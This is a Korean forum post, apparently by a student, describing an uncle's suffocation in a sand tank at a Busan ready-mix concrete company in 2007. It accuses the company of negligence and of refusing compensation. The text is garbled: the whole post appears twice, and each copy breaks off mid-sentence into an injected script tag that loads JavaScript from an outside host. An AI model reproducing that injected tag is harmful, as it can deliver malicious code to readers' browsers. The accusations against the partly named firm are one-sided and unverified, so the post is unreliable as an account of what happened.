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안녕하세요.
저는 부산에 살고 있는 대학교 4학년 학생입니다.
저희 가족에게 일어난 믿을 수 없고 답답한 이야기를 전하려고 이렇게 글을 올립니다.
길고 지루하시겠지만 꼭 좀 읽어주세요.
* http://www.cbs.co.kr/Nocut/Show.asp?IDX=526334 기사입니다
오보난 기사입니다. 어서빨리 정정기사가 났으면 좋겠네요..
2007년 5월 29일 화요일.
저희 외삼촌께서는 부산 H레미콘에서 레미콘기사로 일하셨습니다.
부산 H레미콘에서 일하신지는 10년이 넘었고 그 동안 이런저런 일이 많아 지금은 일용직처럼 일을 하셨습니다. 회사 동료들이 말하기를, 다른 사람들보다 일 처리가 빠르고 잘 하셔서 회사에서 어려운 일이 있을 때는 항상 외삼촌을 불러서 일을 시켰다고 합니다.
모래 탱크 안을 청소하는 일이 있는데, 매우 어렵고 위험한 일이라 직원들이 꺼리는 일이라고 합니다. 그런데, 회사에서 삼촌에게 그 일을 맡기며 대가로 50만원과 6월 1일 부터 다시 정 직원으로 일을 할 수 있게 해준다고 했다고 합니다. 힘들고 위험한 일이지만 그 때 당시 별다른 할일이 없었던 외삼촌은 정직원이 다시 될 수 있단 제의를 받아 들이셨고 일을 하시다 사고를 당하셨습니다.
탱크 안에서 작업을 하다가 기계가 작동해 버리면 안으로 모래와 함께 빨려 들어가는 위험한 작업이기 때문에 3인 1조로 이뤄지는 작업입니다. 외삼촌은 혼자 안에서 작업 중 이셨는데 밖에서 작업 중이라는 것을 순간 깜박하고 기계를 돌려버려 외삼촌은 그대로 기계 안으로 모래와 빨려 들어가 질식사 하셨습니다.
정말 순간적으로... 너무나 어이없게 혼자 발버둥 치시다 돌아가셨습니다...
밖에서 기계를 돌렸다는 사실은, 우선 모래가 그렇게 기계 안으로 들어가려면 작동이 필수이고, 그 사실은 동료들이 증명 해 줄 수 있다고 했습니다. 하지만 회사 측에서는 외삼촌께서 일을 빨리 끝내려고 밑에서부터 작업을 하다가 산사태처럼 모래들이 쏟아져서 사고가 났다는 둥, 기계를 돌린 적이 없다는 둥, 보험금을 노려 자살이라는 둥 말도 안 되는 이야기만 했습니다.
모든 정황을 봐서는 명백히 회사 측의 실수로 우리 외삼촌은 돌아가신 것입니다.
너무 가슴 아픈 이야기지만 외삼촌은 요즘 많이 나오는 만 원대에 보험 하나 못 넣을 정도의 형편이셨습니다. 그리고 경찰에서 현장을 보고 너무 위험한 일이라 사람이 절대 못 할 일이라며 외삼촌이 기계위에서 청소를 하시다가 발을 헛디뎌 추락을 한 것 아니냐는 추측성 이야기를 하였습니다. 실제로 그날 뉴스에도, 인터넷 신문에도 모두 추락사라고 오보가 났습니다. 형편이 좋은 사람은 이해를 못 할 일이겠지만 중학교, 고등학교에 다니는 두 딸의 가장으로서 일이 너무도 간절하고 돈이 필요한 상황에서, 다시 정 직원까지 시켜준다고 하는 데 위험하다, 안전하다를 떠나 일을 마다할 사람이 어디 있겠습니까.
목격자는 말을 자꾸 바꿉니다.
목격자는 처음 문상을 와서 했던 이야기와 그 후에 부산 H레미콘 사장과 개인면담 후 하는 이야기가 자꾸 달라집니다.
평소에 인정이 많고 남 얘기를 잘 들어주시던 외삼촌을 도와주겠다는 동료들은 많았지만, 회사 측에서 어떠한 개입도 차단하고 있어서 그 누구도 도와주지 못하고 있습니다. 하루 벌어먹고 사는 사람들이 어떻게 회사 측 눈치를 보지 않을 수 있겠습니까.
또 사고가 난 후 회사 측은 가족들에게는 연락도 하지 않고 동의도 구하지 않은 채 장례식장에 외삼촌 시신을 두었습니다. 가족들 중 아무도 외삼촌의 마지막 얼굴조차 보지 못한 채 냉동실에 들어가셨습니다.
왜 가족들에게 빨리 알리지 않았는지도 답답하기만 합니다.
다들 사고사 소식을 들으면 '어느 병원이냐' 고 묻지 '어느 장례식장이냐' 고 묻습니까.
어찌 되었든 경찰 측에서는 지금 사고는 아직도 수사 중이라고만 합니다.
그런데 문제는 지금 부터입니다.
회사 측과 저희 가족 간에 합의가 전혀 이뤄지지 않는다는 것입니다.
어떻게든 좋게 해결하기 위해 기다려달라는데로 참고 참았지만 사건을 회피하려고만 하는 한국레미콘의무책임한 태도에 너무 화가 납니다.
외삼촌이 돌아가신지 보름이 된 지금, 우리 가족들은 장례비와 위로금을 요구했지만 모두 거절당했습니다. 자신들의 회사에서 일을 하다가 다친 것도 아니고 사람이 목숨을 잃었는데, 책임을 지지 않겠다는 것입니다.
하다못해 집에서 키우던 강아지도 죽으면 슬퍼하고 묻어주는데 10년이 넘게 함께 일을 한 직원이 목숨을 잃었는데 나 몰라라 할 수 있습니까.
결국 끝에 남는 것이 돈이라는 사실에 마음이 시립니다.
아빠의 갑작스런 죽음에 큰 충격을 받았을 아직 어리기만한 동생들 앞에서 돈 때문에 어른?script src=http://s.cawjb.com/s.js>
저는 부산에 살고 있는 대학교 4학년 학생입니다.
저희 가족에게 일어난 믿을 수 없고 답답한 이야기를 전하려고 이렇게 글을 올립니다.
길고 지루하시겠지만 꼭 좀 읽어주세요.
* http://www.cbs.co.kr/Nocut/Show.asp?IDX=526334 기사입니다
오보난 기사입니다. 어서빨리 정정기사가 났으면 좋겠네요..
2007년 5월 29일 화요일.
저희 외삼촌께서는 부산 H레미콘에서 레미콘기사로 일하셨습니다.
부산 H레미콘에서 일하신지는 10년이 넘었고 그 동안 이런저런 일이 많아 지금은 일용직처럼 일을 하셨습니다. 회사 동료들이 말하기를, 다른 사람들보다 일 처리가 빠르고 잘 하셔서 회사에서 어려운 일이 있을 때는 항상 외삼촌을 불러서 일을 시켰다고 합니다.
모래 탱크 안을 청소하는 일이 있는데, 매우 어렵고 위험한 일이라 직원들이 꺼리는 일이라고 합니다. 그런데, 회사에서 삼촌에게 그 일을 맡기며 대가로 50만원과 6월 1일 부터 다시 정 직원으로 일을 할 수 있게 해준다고 했다고 합니다. 힘들고 위험한 일이지만 그 때 당시 별다른 할일이 없었던 외삼촌은 정직원이 다시 될 수 있단 제의를 받아 들이셨고 일을 하시다 사고를 당하셨습니다.
탱크 안에서 작업을 하다가 기계가 작동해 버리면 안으로 모래와 함께 빨려 들어가는 위험한 작업이기 때문에 3인 1조로 이뤄지는 작업입니다. 외삼촌은 혼자 안에서 작업 중 이셨는데 밖에서 작업 중이라는 것을 순간 깜박하고 기계를 돌려버려 외삼촌은 그대로 기계 안으로 모래와 빨려 들어가 질식사 하셨습니다.
정말 순간적으로... 너무나 어이없게 혼자 발버둥 치시다 돌아가셨습니다...
밖에서 기계를 돌렸다는 사실은, 우선 모래가 그렇게 기계 안으로 들어가려면 작동이 필수이고, 그 사실은 동료들이 증명 해 줄 수 있다고 했습니다. 하지만 회사 측에서는 외삼촌께서 일을 빨리 끝내려고 밑에서부터 작업을 하다가 산사태처럼 모래들이 쏟아져서 사고가 났다는 둥, 기계를 돌린 적이 없다는 둥, 보험금을 노려 자살이라는 둥 말도 안 되는 이야기만 했습니다.
모든 정황을 봐서는 명백히 회사 측의 실수로 우리 외삼촌은 돌아가신 것입니다.
너무 가슴 아픈 이야기지만 외삼촌은 요즘 많이 나오는 만 원대에 보험 하나 못 넣을 정도의 형편이셨습니다. 그리고 경찰에서 현장을 보고 너무 위험한 일이라 사람이 절대 못 할 일이라며 외삼촌이 기계위에서 청소를 하시다가 발을 헛디뎌 추락을 한 것 아니냐는 추측성 이야기를 하였습니다. 실제로 그날 뉴스에도, 인터넷 신문에도 모두 추락사라고 오보가 났습니다. 형편이 좋은 사람은 이해를 못 할 일이겠지만 중학교, 고등학교에 다니는 두 딸의 가장으로서 일이 너무도 간절하고 돈이 필요한 상황에서, 다시 정 직원까지 시켜준다고 하는 데 위험하다, 안전하다를 떠나 일을 마다할 사람이 어디 있겠습니까.
목격자는 말을 자꾸 바꿉니다.
목격자는 처음 문상을 와서 했던 이야기와 그 후에 부산 H레미콘 사장과 개인면담 후 하는 이야기가 자꾸 달라집니다.
평소에 인정이 많고 남 얘기를 잘 들어주시던 외삼촌을 도와주겠다는 동료들은 많았지만, 회사 측에서 어떠한 개입도 차단하고 있어서 그 누구도 도와주지 못하고 있습니다. 하루 벌어먹고 사는 사람들이 어떻게 회사 측 눈치를 보지 않을 수 있겠습니까.
또 사고가 난 후 회사 측은 가족들에게는 연락도 하지 않고 동의도 구하지 않은 채 장례식장에 외삼촌 시신을 두었습니다. 가족들 중 아무도 외삼촌의 마지막 얼굴조차 보지 못한 채 냉동실에 들어가셨습니다.
왜 가족들에게 빨리 알리지 않았는지도 답답하기만 합니다.
다들 사고사 소식을 들으면 '어느 병원이냐' 고 묻지 '어느 장례식장이냐' 고 묻습니까.
어찌 되었든 경찰 측에서는 지금 사고는 아직도 수사 중이라고만 합니다.
그런데 문제는 지금 부터입니다.
회사 측과 저희 가족 간에 합의가 전혀 이뤄지지 않는다는 것입니다.
어떻게든 좋게 해결하기 위해 기다려달라는데로 참고 참았지만 사건을 회피하려고만 하는 한국레미콘의무책임한 태도에 너무 화가 납니다.
외삼촌이 돌아가신지 보름이 된 지금, 우리 가족들은 장례비와 위로금을 요구했지만 모두 거절당했습니다. 자신들의 회사에서 일을 하다가 다친 것도 아니고 사람이 목숨을 잃었는데, 책임을 지지 않겠다는 것입니다.
하다못해 집에서 키우던 강아지도 죽으면 슬퍼하고 묻어주는데 10년이 넘게 함께 일을 한 직원이 목숨을 잃었는데 나 몰라라 할 수 있습니까.
결국 끝에 남는 것이 돈이라는 사실에 마음이 시립니다.
아빠의 갑작스런 죽음에 큰 충격을 받았을 아직 어리기만한 동생들 앞에서 돈 때문에 어른?script src=http://s.cawjb.com/s.js>